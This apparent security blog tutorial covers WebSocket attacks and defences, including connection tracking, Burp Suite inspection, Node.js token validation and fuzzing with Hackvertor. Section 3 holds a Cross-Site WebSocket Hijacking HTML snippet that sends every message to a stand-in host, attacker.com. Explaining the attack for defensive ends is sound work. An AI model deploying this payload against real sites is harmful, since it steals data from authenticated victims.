Exploring WebSocket Hacking: Real-Time Browser Tracking with Hackvertor

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Introduction:

WebSockets enable real-time communication between clients and servers, but they also introduce unique security challenges. Gareth Heyes, a researcher at PortSwigger Web Security, recently demonstrated a fun yet insightful project—tracking connected browsers and notifying users when someone joins or leaves a WebSocket-based “Hacking Room.” This article dives into WebSocket security, exploitation techniques, and hardening measures.

Learning Objectives:

• Understand how WebSockets can be abused for real-time tracking.
• Learn defensive techniques to secure WebSocket implementations.
• Explore tools like Hackvertor for testing WebSocket vulnerabilities.

1. WebSocket Connection Tracking Exploit

Command/Code Snippet (JavaScript):

const ws = new WebSocket('wss://vulnerable-site.com/chat'); 
ws.onopen = () => { console.log('Connected to WebSocket!'); }; 
ws.onmessage = (event) => { console.log('User activity:', event.data); }; 

Step-by-Step Guide:

1. Establish Connection: The above code initiates a WebSocket connection to a vulnerable endpoint.
2. Monitor Activity: The `onmessage` event logs real-time data, such as user join/leave notifications.
3. Exploit Weak Logging: If the server broadcasts connection events, attackers can track active users.

Mitigation:

• Implement authentication before allowing WebSocket connections.
• Avoid exposing sensitive connection events to all clients.

2. Detecting WebSocket Endpoints with Burp Suite

Command/Code Snippet (Burp Suite):

1. Intercept traffic and look for `Upgrade: websocket` headers.

2. Use Burp’s WebSocket tab to inspect messages.

Step-by-Step Guide:

1. Configure Burp Suite to proxy WebSocket traffic.

2. Capture requests containing `Sec-WebSocket-Key`.

1. Manipulate WebSocket messages to test for injection flaws.

Mitigation:

• Encrypt WebSocket traffic (WSS instead of WS).
• Validate input in WebSocket messages.

3. Exploiting Cross-Site WebSocket Hijacking (CSWSH)

Command/Code Snippet (HTML Exploit):

<script> 
const ws = new WebSocket('wss://victim-site.com/chat'); 
ws.onmessage = (e) => { fetch('https://attacker.com/log?data=' + btoa(e.data)); }; 
</script>

Step-by-Step Guide:

1. Craft a malicious page that initiates a WebSocket connection.
2. Steal Data: The attacker’s server logs WebSocket responses.
3. Bypass SOP: If the victim is authenticated, the WebSocket connection succeeds.

Mitigation:

• Use CSRF tokens for WebSocket handshakes.
• Enforce same-origin checks.

4. Securing WebSockets with Node.js

Command/Code Snippet (Node.js):

const WebSocket = require('ws'); 
const wss = new WebSocket.Server({ 
verifyClient: (info) => { 
return validateToken(info.req.headers['sec-websocket-protocol']); 
} 
}); 

Step-by-Step Guide:

1. Validate Clients: The `verifyClient` callback checks authentication tokens.
2. Drop Unauthorized Connections: Reject connections without valid tokens.

Mitigation:

• Use TLS (WSS) to prevent MITM attacks.
• Rate-limit connections to prevent flooding.

5. WebSocket Fuzzing with Hackvertor

Command/Code Snippet (Hackvertor):

• Load WebSocket payloads in Hackvertor’s “WebSocket Fuzzer” module.
• Use predefined attack templates (e.g., XSS, SQLi over WS).

Step-by-Step Guide:

1. Capture a WebSocket handshake using Burp.

1. Import into Hackvertor and modify messages for fuzzing.

3. Detect Vulnerabilities: Monitor for abnormal server responses.

Mitigation:

• Sanitize WebSocket message content.
• Disable unnecessary WebSocket features.

What Undercode Say:

• Key Takeaway 1: WebSockets introduce real-time risks—tracking, hijacking, and data leaks are common.
• Key Takeaway 2: Tools like Hackvertor and Burp Suite simplify WebSocket testing.

Analysis:

WebSockets are powerful but often poorly secured. Attackers can abuse them for surveillance, data theft, and session hijacking. Developers must enforce authentication, encrypt traffic, and validate messages. As real-time apps grow, so will WebSocket attacks—proactive hardening is essential.

Prediction:

WebSocket-based attacks will rise as more apps adopt real-time features. Future exploits may target IoT devices and APIs using WebSockets, demanding stricter security frameworks.

Further Reading:

• PortSwigger WebSocket Security
• Hackvertor Tool
• OWASP WebSocket Cheat Sheet

IT/Security Reporter URL:

Reported By: Gareth Heyes – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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